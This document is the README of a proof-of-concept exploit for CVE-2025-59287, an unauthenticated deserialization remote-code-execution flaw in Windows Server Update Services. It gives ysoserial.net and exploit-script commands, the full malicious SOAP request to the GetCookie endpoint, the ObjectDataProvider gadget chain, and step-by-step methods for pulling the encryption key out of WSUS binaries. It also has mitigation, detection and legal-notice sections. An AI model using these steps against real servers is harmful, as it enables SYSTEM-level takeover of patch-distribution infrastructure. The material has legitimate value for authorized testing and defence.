Exploitation proof-of-concept for CVE-2025-59287 - a critical vulnerability in the Windows Server Update Service (WSUS) caused by the deserialization of untrusted data. This flaw allows an unauthorized attacker to execute arbitrary code over a network, posing a significant security risk.# CVE-2025-59287 Proof-of-Concept Exploit
## Vulnerability Overview
**CVE-2025-59287** is a critical Remote Code Execution (RCE) vulnerability in Microsoft Windows Server Update Services (WSUS). The vulnerability is caused by unsafe deserialization of `AuthorizationCookie` data through `BinaryFormatter` in the `EncryptionHelper.DecryptData()` method.
**Impact**: Unauthenticated attackers can achieve remote code execution with **SYSTEM privileges** by sending malicious encrypted cookies to the `GetCookie()` endpoint.
**CVSS Score**: Critical (9.8)
## Vulnerability Details
- **Affected Component**: WSUS ClientWebService.asmx GetCookie() endpoint
- **Root Cause**: `BinaryFormatter.Deserialize()` called on untrusted input without proper validation
- **Attack Vector**: Malicious encrypted cookie sent to GetCookie() SOAP endpoint
- **Authentication Required**: **No** (unauthenticated RCE)
- **Affected Ports**: 8530 (HTTP), 8531 (HTTPS)
## Architecture
```
┌─────────────────┐
│ Attacker │
│ │
│ 1. Generate │
│ BinaryFmt │
│ Payload │
│ │
│ 2. Encrypt │
│ Payload │
│ │
│ 3. Send SOAP │
│ Request │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS Server │
│ │
│ GetCookie() │
│ Endpoint │
│ │
│ DecryptData() │◄─── Vulnerable
│ │
│ BinaryFormatter│◄─── Unsafe Deserialization
│ Deserialize() │
│ │
│ Execute │◄─── RCE as SYSTEM
│ Payload │
└─────────────────┘
```
## Files Structure
```
exploit-poc/
├── wsus_exploit.py # Main exploit script
├── BinaryFormatterPayloadGenerator.cs # .NET payload generator (C#)
├── encrypt_payload.py # WSUS encryption helper
├── requirements.txt # Python dependencies
└── README.md # This file
```
## Prerequisites
### Python Environment
```bash
pip install -r requirements.txt
```
### .NET Framework (for payload generation)
- Windows with .NET Framework 4.0 or later
- Or use `ysoserial.net` as alternative
## Usage
### Method 1: Complete Workflow
#### Step 1: Generate BinaryFormatter Payload
**Option A: Using provided C# generator**
```bash
# Compile the generator
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Generate payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Creates: payload_YYYYMMDDHHMMSS.bin
```
**Option B: Using ysoserial.net (Recommended)**
```bash
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
```
#### Step 2: Encrypt the Payload
```bash
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
```
**IMPORTANT**: The encryption key in `encrypt_payload.py` is a **placeholder**. For real exploitation, you must:
1. Reverse engineer the actual encryption key from WSUS binaries
2. Update `encrypt_payload.py` with the real key
3. See "Finding WSUS Encryption Key" section below
#### Step 3: Execute the Exploit
```bash
# Using payload file (will encrypt on-the-fly)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Using pre-encrypted cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# With HTTPS (port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
```
### Method 2: Quick Test
```bash
# Generate, encrypt, and exploit in one go
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
```
## Finding the Actual WSUS Encryption Key
The encryption key **must** be extracted from WSUS binaries for real exploitation.
### Method 1: Reverse Engineering with dnSpy
1. **Locate WSUS DLLs**:
```
%ProgramFiles%\Update Services\WebServices\bin\
```
Or IIS web directory:
```
%SystemDrive%\inetpub\wwwroot\wsusadmin\
```
2. **Open in dnSpy** (free .NET decompiler):
- Download: https://github.com/dnSpy/dnSpy
- Open `Microsoft.UpdateServices.WebServices.dll`
3. **Search for EncryptionHelper**:
- Navigate to: `Microsoft.UpdateServices.WebServices` namespace
- Find `EncryptionHelper` class
- Look at `DecryptData()` and `EncryptData()` methods
- Extract the encryption key and algorithm
4. **Common patterns**:
- Hardcoded byte arrays
- String constants
- Key derivation from machine GUID/SID
### Method 2: Runtime Analysis
1. **Use WinDbg or x64dbg**:
- Set breakpoint on `EncryptionHelper.DecryptData()`
- Inspect memory/registers for key material
- Monitor encryption/decryption operations
2. **Use Process Monitor**:
- Filter by WSUS process
- Look for registry/config file access
- Keys might be stored in registry
### Method 3: Static Analysis
1. **Use IDA Pro or Ghidra**:
- Load WSUS binaries
- Search for encryption-related strings
- Analyze key derivation algorithms
2. **Use strings utility**:
```bash
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
```
### Updating the Exploit
Once you have the actual key, update `encrypt_payload.py`:
```python
# Replace this line in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # PLACEHOLDER
# With the actual key:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
```
Or pass it via command line:
```bash
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
```
## Exploit Flow
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Generate BinaryFormatter Payload │
│ ObjectDataProvider → Process.Start() → Command Execution │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Encrypt Payload │
│ AES-128-CBC with WSUS encryption key │
│ Base64 encode for transmission │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Create SOAP Request │
│ AuthorizationCookie header contains encrypted payload │
│ GetCookie() method in SOAP body │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Send to WSUS Endpoint │
│ POST /ClientWebService/ClientWebService.asmx │
│ Port 8530 (HTTP) or 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS Processing │
│ DecryptData() decrypts cookie │
│ BinaryFormatter.Deserialize() executes payload │
│ → RCE as SYSTEM │
└─────────────────────────────────────────────────────────────┘
```
## SOAP Request Structure
```xml
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
```
## Payload Generation Details
The exploit uses the `ObjectDataProvider` gadget chain:
```csharp
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
```
When `BinaryFormatter.Deserialize()` processes this, it automatically:
1. Deserializes the `ObjectDataProvider`
2. Invokes the `MethodName` ("Start") on `ObjectInstance` (Process)
3. Passes `MethodParameters` (ProcessStartInfo)
4. Executes the command with SYSTEM privileges
## Testing Checklist
- [ ] Generate BinaryFormatter payload
- [ ] Extract/identify WSUS encryption key
- [ ] Encrypt payload with correct key
- [ ] Verify WSUS endpoint is accessible
- [ ] Send SOAP request with malicious cookie
- [ ] Verify command execution on target
- [ ] Test in isolated lab environment
## Limitations
1. **Encryption Key**: Placeholder key won't work on real systems. Must extract actual key.
2. **BinaryFormatter Payload**: Requires .NET Framework or ysoserial.net to generate.
3. **Network Access**: Must have network access to WSUS endpoint (ports 8530/8531).
4. **WSUS Version**: Behavior may vary across WSUS versions.
## Mitigation
### Immediate Actions
1. **Apply Microsoft Security Update**: Patch immediately
- Check Microsoft Security Advisory
- Update WSUS to patched version
2. **Temporary Workaround**: Block ports if WSUS not needed
```powershell
# Block inbound traffic on WSUS ports
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
```
3. **Network Segmentation**: Restrict access to WSUS endpoints
- Only allow access from authorized update servers
- Use firewall rules to limit source IPs
### Long-term Fixes
1. **Replace BinaryFormatter**: Microsoft should replace with secure serialization
- Use `System.Text.Json` or `System.Xml.Serialization` with type validation
- Implement strict type allowlisting
2. **Input Validation**: Add comprehensive validation
- Validate all cookie data before deserialization
- Reject unexpected types/schemas
3. **Principle of Least Privilege**: Run WSUS services with minimal privileges
- Don't run as SYSTEM if possible
- Use service accounts with limited permissions
## Detection
### Indicators of Compromise (IoC)
- Unusual network traffic to port 8530/8531
- SOAP requests with Base64-encoded AuthorizationCookie headers
- Unexpected process execution from WSUS service context
- BinaryFormatter deserialization exceptions in WSUS logs
### Log Analysis
Check WSUS logs for:
```
%ProgramFiles%\Update Services\LogFiles\
```
Look for:
- SOAP request errors
- Deserialization exceptions
- Unauthorized access attempts
### Network Monitoring
Monitor for:
- SOAP requests to `/ClientWebService/ClientWebService.asmx`
- Large Base64 payloads in AuthorizationCookie headers
- Unusual command execution from WSUS service
## Legal Notice
**⚠️ WARNING**: This exploit code is provided for **authorized security testing only**.
- ✅ **Legal Uses**:
- Testing your own systems
- Authorized penetration testing
- Security research with permission
- Educational purposes in controlled environments
- ❌ **Illegal Uses**:
- Unauthorized access to systems
- Malicious attacks
- Violation of computer fraud laws
- Any use without explicit permission
**Unauthorized use of this exploit may result in criminal prosecution. Use responsibly and ethically.**
## References
- **CVE-2025-59287**: Official CVE entry
- **Microsoft Security Advisory**: Check for official patch and guidance
- **BinaryFormatter Security Guide**: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
- **ysoserial.net**: https://github.com/pwntester/ysoserial.net
## Credits
- Vulnerability discovered by security researchers
- PoC developed for educational and authorized testing purposes
## Version History
- **v1.0**: Initial PoC release
- Main exploit script
- .NET payload generator
- Encryption helper
- Documentation
---
**Remember**: Always test in isolated, controlled environments. Never use against systems you don't own or lack explicit permission to test.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view